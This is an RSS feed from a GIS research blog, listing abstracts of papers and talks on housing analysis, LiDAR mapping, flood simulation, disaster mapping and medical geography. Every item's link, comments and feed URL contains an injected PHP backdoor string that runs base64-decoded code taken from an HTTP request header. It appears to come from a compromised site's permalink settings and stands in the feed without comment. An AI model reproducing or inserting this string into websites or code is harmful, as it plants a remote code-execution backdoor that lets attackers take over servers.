<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>GIS</title>
	<atom:link href="http://gis.synersys.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://gis.synersys.org</link>
	<description></description>
	<pubDate>Sun, 22 Aug 2010 19:10:05 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>The Potsdam Housing Market: A GIS-based Spatial Analysis using FOS</title>
		<link>http://gis.synersys.org/2010/08/22/the-potsdam-housing-market-a-gis-based-spatial-analysis-using-fos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/08/22/the-potsdam-housing-market-a-gis-based-spatial-analysis-using-fos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 19:09:32 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Allgemein]]></category>

		<category><![CDATA[Immobilienmarkt]]></category>

		<category><![CDATA[GIS]]></category>

		<category><![CDATA[Housing]]></category>

		<category><![CDATA[opensource]]></category>

		<category><![CDATA[Potsdam]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=197</guid>
		<description><![CDATA[ABSTRACT
Housing in Potsdam varies from flats in redeveloped prefabricated high-rise buildings to apartments in historical townhouses to condominiums in Germany&#8217;s first gated community. Increasing demographic development and a stagnant public housing sector generate potential for spatial conflicts. For the time being in-depth GIS-based spatial analysis of the housing market lacks. This article analyses spatial trends [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://programm.corp.at/cdrom2010/papers2010/CORP2010_39.pdf" target="_blank">ABSTRACT</a><br />
Housing in Potsdam varies from flats in redeveloped prefabricated high-rise buildings to apartments in historical townhouses to condominiums in Germany&#8217;s first gated community. Increasing demographic development and a stagnant public housing sector generate potential for spatial conflicts. For the time being in-depth GIS-based spatial analysis of the housing market lacks. This article analyses spatial trends and distribution patterns of the Potsdam housing market, using geostatistical methods implemented in free opensource geographic information systems (FOS GIS). To assemble a spatially differentiated picture of the housing market, methods such as spatial interpolation techniques and spatial declustering are applied. The analysis presented here is based on a representative sample of recent housing market data from 2009. The study provides a basis for discussion of a generic approach to housing market analysis based on free opensource geoinformation systems.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/08/22/the-potsdam-housing-market-a-gis-based-spatial-analysis-using-fos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Real-Time Robotic Surveying for Unexplored Arctic Terrain</title>
		<link>http://gis.synersys.org/2010/07/16/real-time-robotic-surveying-for-unexplored-arctic-terrain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/07/16/real-time-robotic-surveying-for-unexplored-arctic-terrain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 23:04:45 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Forschung]]></category>

		<category><![CDATA[Remote Sensing]]></category>

		<category><![CDATA[Robotic]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=195</guid>
		<description><![CDATA[- Objective
- To make more information available to remote-sensing systems using autonomous or semi-autonomous   robotic solutions.
- Specifically, provide higher-resolution shape and slope characteristics of terrain than currently offered.
- Strategy
- Intelligently collect changes in terrain using robotic technology.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://esto.nasa.gov/conferences/estf2010/presentations/Parker_Howard_ESTF2010_A1P4.pdf" target="_blank">- Objective</a><br />
- To make more information available to remote-sensing systems using autonomous or semi-autonomous   robotic solutions.</p>
<p>- Specifically, provide higher-resolution shape and slope characteristics of terrain than currently offered.<br />
- Strategy<br />
- Intelligently collect changes in terrain using robotic technology.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/07/16/real-time-robotic-surveying-for-unexplored-arctic-terrain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A GIS METHODOLOGY TO CALCULATE IN-FIELD DISPERSION OF FERTILIZER FROM A SPINNING-DISC SPREADER</title>
		<link>http://gis.synersys.org/2010/07/08/a-gis-methodology-to-calculate-in-field-dispersion-of-fertilizer-from-a-spinning-disc-spreader/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/07/08/a-gis-methodology-to-calculate-in-field-dispersion-of-fertilizer-from-a-spinning-disc-spreader/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 14:04:28 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Forschung]]></category>

		<category><![CDATA[Landwirtschaft]]></category>

		<category><![CDATA[Application equipment]]></category>

		<category><![CDATA[Fertilizer]]></category>

		<category><![CDATA[Geographical Information Systems]]></category>

		<category><![CDATA[Modeling]]></category>

		<category><![CDATA[Precision agriculture]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=194</guid>
		<description><![CDATA[ABSTRACT 
A model was developed within a GIS environment using the transverse spread pattern and GPS driving track
during spreading to map actual fertilizer application at any point in a paddock. The spreading vehicle required a GPS of sufficient accuracy in order to provide proof of placement and guidance assistance to the driver. The method was [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nzcpa.com/e107_files/downloads/A%20GIS%20Methodology%20to%20Calculate%20In-Field%20Dispersion%20of%20Fertilizer%20from%20a%20Spinning-Disc%20Spreader.pdf" target="_blank">ABSTRACT </a></p>
<p>A model was developed within a GIS environment using the transverse spread pattern and GPS driving track<br />
during spreading to map actual fertilizer application at any point in a paddock. The spreading vehicle required a GPS of sufficient accuracy in order to provide proof of placement and guidance assistance to the driver. The method was used to assess the effect of field size and shape on actual application rate and application variation. At a target application rate of 80 kg ha−1, measured application rates ranged from 51.8 to 106.7 kg ha−1 of urea (46% N) fertilizer over 102 paddocks on four farms. Average field variation calculated over all paddocks was 37.9%. Irregular-shaped paddocks were found to have higher application variation (40.8%) compared to regular-shaped paddocks (35.9%). Hot spot analysis was performed to identify areas receiving statistically significant high and low application rates.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/07/08/a-gis-methodology-to-calculate-in-field-dispersion-of-fertilizer-from-a-spinning-disc-spreader/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Usage of a Multidisciplinary GIS Platform for the Design of Building Structures</title>
		<link>http://gis.synersys.org/2010/06/19/usage-of-a-multidisciplinary-gis-platform-for-the-design-of-building-structures/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/19/usage-of-a-multidisciplinary-gis-platform-for-the-design-of-building-structures/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 17:35:16 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Architektur]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=191</guid>
		<description><![CDATA[Abstract
Topic of this paper is the usage of the multidisciplinary GIS platform for Design of Building Structures and GIS platform for education at the Brno University of Technology (BUT). The GIS technology has been made use of at BUT Brno in a limited extent since as early as the 90’s, but as it was out [...]]]></description>
			<content:encoded><![CDATA[<p><a href="https://www.fig.net/commission2/vienna_2009_proc/papers/17_bartonek_bures_drab_mensik.pdf" target="_blank">Abstract</a><br />
Topic of this paper is the usage of the multidisciplinary GIS platform for Design of Building Structures and GIS platform for education at the Brno University of Technology (BUT). The GIS technology has been made use of at BUT Brno in a limited extent since as early as the 90’s, but as it was out of acceptable price range the utilization in greater extent was not possible. With the support of research projects the GIS platform became part and parcel of accredited study programmes at BUT Brno three years ago. Current informatics infrastructure was completed with necessary systems Geomedia 6.0 (Intergraph) and Arc/Info (ESRI), which are commonly widespread platforms. On initiation of Institute of Geodesy, Faculty of Civil Engineering GIS data warehouse has been established for the needs of tuition at BUT Brno, it contains all types of basic maps of CR and other types of data (ZABAGED, Orthophoto, BM – CR of various scales, cadastral maps, purpose-built maps, historical maps, special data – laser scanning, DMT, satellite data and others) in the localities of interest. The data warehouse is continuously supplemented. A part of GIS platform is a catalogue of maps containing fragments of cadastral, civilian and military map works since 1825 till now.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/06/19/usage-of-a-multidisciplinary-gis-platform-for-the-design-of-building-structures/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>GEO INFORMATION - THE EMERGING SCENARIO IN INDIA</title>
		<link>http://gis.synersys.org/2010/06/19/geo-information-the-emerging-scenario-in-india/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/19/geo-information-the-emerging-scenario-in-india/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 17:22:08 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Forschung]]></category>

		<category><![CDATA[Cadastral Surveying]]></category>

		<category><![CDATA[GeoInformation]]></category>

		<category><![CDATA[GI Technology trends]]></category>

		<category><![CDATA[Map conversion]]></category>

		<category><![CDATA[photogrammetry]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=190</guid>
		<description><![CDATA[ABSTRACT
India can improve its per capita income ranking through better management of its rich resources by the use of Geo Information technologies. GIS, Remote Sensing, GPS, Cartography and other related technologies have emerged as highly complementary tools of providing integrated and total solutions. Liberalisation process started in 1991 and the initiatives of Department of Space [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.isprs.org/proceedings/XXXIII/congress/part6/188_XXXIII-part6.pdf" target="_blank">ABSTRACT</a><br />
India can improve its per capita income ranking through better management of its rich resources by the use of Geo Information technologies. GIS, Remote Sensing, GPS, Cartography and other related technologies have emerged as highly complementary tools of providing integrated and total solutions. Liberalisation process started in 1991 and the initiatives of Department of Space in granting recognition to a host of private companies provided a boost to privatisation in GI field in India. Massive investments in cadastral surveys thematic mapping infrastructure and agriculture sectors are expected to generate over 21,000 million rupees worth of GI related work in the coming 5 years. Beginning from 1927 the use of Arial Photography evolved from simple manual techniques to the modern softcopy systems. Photogrammetry served the country in mapping on standard scales of 1:25,000 ; 1:50,000 and 1:250,000. GIS applications are operational both in the government and private sectors, thanks to the indigenously available IRS data with spatial resolution of 6 meters with stereo ability.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/06/19/geo-information-the-emerging-scenario-in-india/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>R&#038;D OF MOBILE LIDAR MAPPING AND FUTURE TRENDS</title>
		<link>http://gis.synersys.org/2010/06/19/rd-of-mobile-lidar-mapping-and-future-trends/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/19/rd-of-mobile-lidar-mapping-and-future-trends/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 17:19:04 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Forschung]]></category>

		<category><![CDATA[geospatial data]]></category>

		<category><![CDATA[mapping technologies]]></category>

		<category><![CDATA[mobile mapping]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=189</guid>
		<description><![CDATA[ABSTRACT
Mobile terrestrial mapping systems have seen remarkable developments recently. Fueled by an unprecedentedly strong demand for high-resolution and accurate 3D geospatial data, these systems serve the probably fastest growing market segment: city modeling. In particular, the recent introduction of powerful mobile laserscanning systems is of main interest, as the direct acquisition of 3D data greatly [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.asprs.org/publications/proceedings/baltimore09/0096.pdf" target="_blank">ABSTRACT</a><br />
Mobile terrestrial mapping systems have seen remarkable developments recently. Fueled by an unprecedentedly strong demand for high-resolution and accurate 3D geospatial data, these systems serve the probably fastest growing market segment: city modeling. In particular, the recent introduction of powerful mobile laserscanning systems is of main interest, as the direct acquisition of 3D data greatly simplifies downstream processing, where until now stereobased extraction was the most widely used feature extraction tool, requiring significantly more complex processing compared to the straightforward processing of explicit LiDAR data. This paper reviews the recent developments in Mobile Mapping Technologies with a special focus on the mobile laserscanner sensor component.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/06/19/rd-of-mobile-lidar-mapping-and-future-trends/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Photo-Surveying UAVS - New Zealand&#8217;s Geospatial Research Centre</title>
		<link>http://gis.synersys.org/2010/06/19/photo-surveying-uavs-new-zealands-geospatial-research-centre/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/19/photo-surveying-uavs-new-zealands-geospatial-research-centre/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 16:07:42 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Video]]></category>

		<category><![CDATA[Vorlesungen]]></category>

		<category><![CDATA[Geospatial]]></category>

		<category><![CDATA[New Zealand]]></category>

		<category><![CDATA[UAVS]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=188</guid>
		<description><![CDATA[
Google Tech Talks May 1, 2007  ABSTRACT  Introducing New Zealand&#8217;s Geospatial Research Centre Based in Christchurch, New Zealand, the Geospatial Research Centre (GRC)  is a University-based group providing research and consultancy services  in the fields of positioning and orientation, with particular expertise  in sensor integration, image analysis, data visualisation and [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="300" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://video.google.com/googleplayer.swf?docId=7095417510044815734#&amp;hl=en" /><embed type="application/x-shockwave-flash" width="400" height="300" src="http://video.google.com/googleplayer.swf?docId=7095417510044815734#&amp;hl=en"></embed></object></p>
<p><span id="short-desc" style="display: block;"><span id="short-desc-content">Google Tech Talks May 1, 2007  ABSTRACT  Introducing New Zealand&#8217;s Geospatial Research Centre Based in Christchurch, New Zealand, the Geospatial Research Centre (GRC)  is a University-based group providing research and consultancy services  in the fields of positioning and orientation, with particular expertise  in sensor integration, image analysis, data visualisation and  electronics.</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/06/19/photo-surveying-uavs-new-zealands-geospatial-research-centre/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Development of GIS-Based Flood-Simulation Software and Application to Flood-Risk Assessment</title>
		<link>http://gis.synersys.org/2010/06/19/development-of-gis-based-flood-simulation-software-and-application-to-flood-risk-assessment/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/19/development-of-gis-based-flood-simulation-software-and-application-to-flood-risk-assessment/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 15:44:05 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Video]]></category>

		<category><![CDATA[Development]]></category>

		<category><![CDATA[GIS-Based]]></category>

		<category><![CDATA[river]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=187</guid>
		<description><![CDATA[
Abstract
We developed flood simulation software, which works with geographic information systems, and applied the software to a flood-risk assessment of a commercial facility. The developed software provides an easy-to-use user interface, and rapidly and accurately simulates flood scenarios. Using the software, we assess risks at a facility of an entertainment complex. The facility is located [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="300" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/YjVfTW6qvZ0" /><embed type="application/x-shockwave-flash" width="400" height="300" src="http://www.youtube.com/v/YjVfTW6qvZ0"></embed></object></p>
<p><a href="http://www.ima.org.uk/Conferences/Flood%20Risk%202007/Yamaguchi.pdf" target="_blank">Abstract</a><br />
We developed flood simulation software, which works with geographic information systems, and applied the software to a flood-risk assessment of a commercial facility. The developed software provides an easy-to-use user interface, and rapidly and accurately simulates flood scenarios. Using the software, we assess risks at a facility of an entertainment complex. The facility is located on a flat plain surrounded by two rivers. Based on site investigations, three possible flood scenarios were considered. The simulations using the software revealed the most dangerous scenario; if a levee fails at the nearest river, then the water depth in the facility will be greater than 15 cm in just 10 minutes, and the water depth would rise to 50 cm in 1 hour.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/06/19/development-of-gis-based-flood-simulation-software-and-application-to-flood-risk-assessment/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AGU Scientists Tech Talks - Google&#8217;s Spatial Tools in the Marine Environment - Decision Support</title>
		<link>http://gis.synersys.org/2010/06/19/agu-scientists-tech-talks-googles-spatial-tools-in-the-marine-environment-decision-support/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/19/agu-scientists-tech-talks-googles-spatial-tools-in-the-marine-environment-decision-support/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 15:33:29 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Video]]></category>

		<category><![CDATA[Vorlesungen]]></category>

		<category><![CDATA[Geographic]]></category>

		<category><![CDATA[MArine]]></category>

		<category><![CDATA[Spatial]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=186</guid>
		<description><![CDATA[
ABSTRACT: Google Maps and Google Earth have put much of the  functionality of Geographic Information Systems in the hands of the end  users. Maritime users are just beginning to understand the power of map mashups  that bring together diverse datasets to help mariners and those who  manage the waterways to better [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="300" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/Szw2mkqicos" /><embed type="application/x-shockwave-flash" width="400" height="300" src="http://www.youtube.com/v/Szw2mkqicos"></embed></object></p>
<p><span>ABSTRACT: Google Maps and Google Earth have put much of the  functionality of Geographic Information Systems in the hands of the end  users. Maritime users are just beginning to understand the power of map mashups  that bring together diverse datasets to help mariners and those who  manage the waterways to better understand the uses, risks, and impacts  of vessel traffic on our nation&#8217;s waterways. I will present a number of  data types ranging from raster images of ocean flow modeling, to vessel  traffic over time captured by the marine Automatic Identification  System, to real time right whale notices for  vessels approaching  Boston Harbor.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/06/19/agu-scientists-tech-talks-googles-spatial-tools-in-the-marine-environment-decision-support/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>GIS BASED DSS FOR NATURAL DISASTER MANAGEMENT: A CASE STUDY OF ALLAHABAD DISTRICT</title>
		<link>http://gis.synersys.org/2010/06/18/gis-based-dss-for-natural-disaster-management-a-case-study-of-allahabad-district/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/18/gis-based-dss-for-natural-disaster-management-a-case-study-of-allahabad-district/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 22:30:12 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Katastrophenschutz]]></category>

		<category><![CDATA[forest fires]]></category>

		<category><![CDATA[natural disaster management]]></category>

		<category><![CDATA[scenarios]]></category>

		<category><![CDATA[spatial models]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=185</guid>
		<description><![CDATA[ABSTRACT
Natural disasters are inevitable and Indian subcontinent is prone to all type of natural disaster, e.g., earthquake, flood, drought, cyclone, Tsunami, landslides, avalanche, forest fires, etc. The natural disasters can not be prevented fully but their impact can be minimized with sound disaster management strategy aided by the latest technological advancements in the field of [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.gisdevelopment.net/proceedings/mapworldforum/gat/MWF_gat_43.pdf" target="_blank">ABSTRACT</a><br />
Natural disasters are inevitable and Indian subcontinent is prone to all type of natural disaster, e.g., earthquake, flood, drought, cyclone, Tsunami, landslides, avalanche, forest fires, etc. The natural disasters can not be prevented fully but their impact can be minimized with sound disaster management strategy aided by the latest technological advancements in the field of Geoinformatics. GIS is a powerful tool which can be used to create integrated geo-database, visualize scenarios, develop advanced spatial models and effective solutions, prepare disaster zonation maps, and management plans. Remote sensing technology can be advantageously used for detailed monitoring even in near real-time and long-term relief management. Allahabad has now got the status of Metropolitan city and hence a disaster management plan is the need of the hour.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/06/18/gis-based-dss-for-natural-disaster-management-a-case-study-of-allahabad-district/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>GIS BASED NATURAL DISASTER MAPPING: A CASE STUDY</title>
		<link>http://gis.synersys.org/2010/06/18/gis-based-natural-disaster-mapping-a-case-study/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/18/gis-based-natural-disaster-mapping-a-case-study/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 22:26:38 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Katastrophenschutz]]></category>

		<category><![CDATA[GIS]]></category>

		<category><![CDATA[natural disaster]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=184</guid>
		<description><![CDATA[ABSTRACT
Sebinkarahisar Township which has been selected as study area is located between Black Sea and Central Anatolian Regions. Not only geological characters but also social life in the township had been affected by these two regions. History of the settlements goes back to early Hittite period. Even it was a province in the first years [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.isprs.org/proceedings/XXXV/congress/yf/papers/949.pdf" target="_blank">ABSTRACT</a><br />
Sebinkarahisar Township which has been selected as study area is located between Black Sea and Central Anatolian Regions. Not only geological characters but also social life in the township had been affected by these two regions. History of the settlements goes back to early Hittite period. Even it was a province in the first years of Turkish Republic, today it is a township belongs to Giresun province. Landslide is one of the most effective natural disasters in the region. Due to wrong decisions of local authorities caused lots of damage, during the last two decades. Firmly some part of the city, which has the highest landslide risk, is prohibited for new settlement, and some studies (still at beginning level) had been carried out.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/06/18/gis-based-natural-disaster-mapping-a-case-study/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>USING GIS TECHNOLOGY TO ANALYSE TUBERCULOSIS INCIDENCE IN IZMIR</title>
		<link>http://gis.synersys.org/2010/06/18/using-gis-technology-to-analyse-tuberculosis-incidence-in-izmir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/18/using-gis-technology-to-analyse-tuberculosis-incidence-in-izmir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 22:20:59 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Medizin]]></category>

		<category><![CDATA[GIS]]></category>

		<category><![CDATA[IZMIR]]></category>

		<category><![CDATA[Tuberculosis]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=183</guid>
		<description><![CDATA[Abstract
Tuberculosis is one of the most contagious diseases. Although it has been present for over 5000 years, it is still one of the most significant public health problems. Tuberculosis is defined as a disease caused by a bacterium called Mycobacterium tuberculosis. Its incidence has increased and decreased over time, but it has always been a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://web.deu.edu.tr/geomed2010/2007/Kanturk.pdf" target="_blank">Abstract</a><br />
Tuberculosis is one of the most contagious diseases. Although it has been present for over 5000 years, it is still one of the most significant public health problems. Tuberculosis is defined as a disease caused by a bacterium called Mycobacterium tuberculosis. Its incidence has increased and decreased over time, but it has always been a constant threat to public health. In the 1940’s some medicines were discovered to treat tuberculosis, so it slowly began to decrease. But then countries let their guard down, tuberculosis was neglected and so cases increased.</p>
]]></content:encoded>
			<wfw:commentRss>http://gis.synersys.org/2010/06/18/using-gis-technology-to-analyse-tuberculosis-incidence-in-izmir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Geography and Geographic Information Systems in Family Medicine Research</title>
		<link>http://gis.synersys.org/2010/06/18/geography-and-geographic-information-systems-in-family-medicine-research/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gis.synersys.org/2010/06/18/geography-and-geographic-information-systems-in-family-medicine-research/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 22:13:30 +0000</pubDate>
		<dc:creator>belaid</dc:creator>
		
		<category><![CDATA[Medizin]]></category>

		<category><![CDATA[Family]]></category>

		<category><![CDATA[GIS]]></category>

		<category><![CDATA[Medicine]]></category>

		<guid isPermaLink="false">http://gis.synersys.org/?p=182</guid>
		<description><![CDATA[Understanding spatial relationships between determinants and outcomes of health care is important as the concept of population-based health care gains acceptance. A wide range of tools for understanding these spatial relationships is available to the family medicine researcher through the use of Geographic Information Systems (GIS). The power of GIS lies in its ability to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.stfm.org/fmhub/fm2002/feb02/rd.pdf" target="_blank">Understanding spatial relationships between determinants and outcomes</a> of health care is important as the concept of population-based health care gains acceptance. A wide range of tools for understanding these spatial relationships is available to the family medicine researcher through the use of Geographic Information Systems (GIS). The power of GIS lies in its ability to display the spatial distribution of a health related predictor or outcome. These maps can then be used to either generate or test hypotheses that would not have otherwise occurred to the investigator without visualizing the spatial relationships. The type of GIS application used is dependent on the type of data the researcher has and the research question. The three most common types of data are point or event data, lattice data, and geostatistical data.</p>
]]></content:encoded>
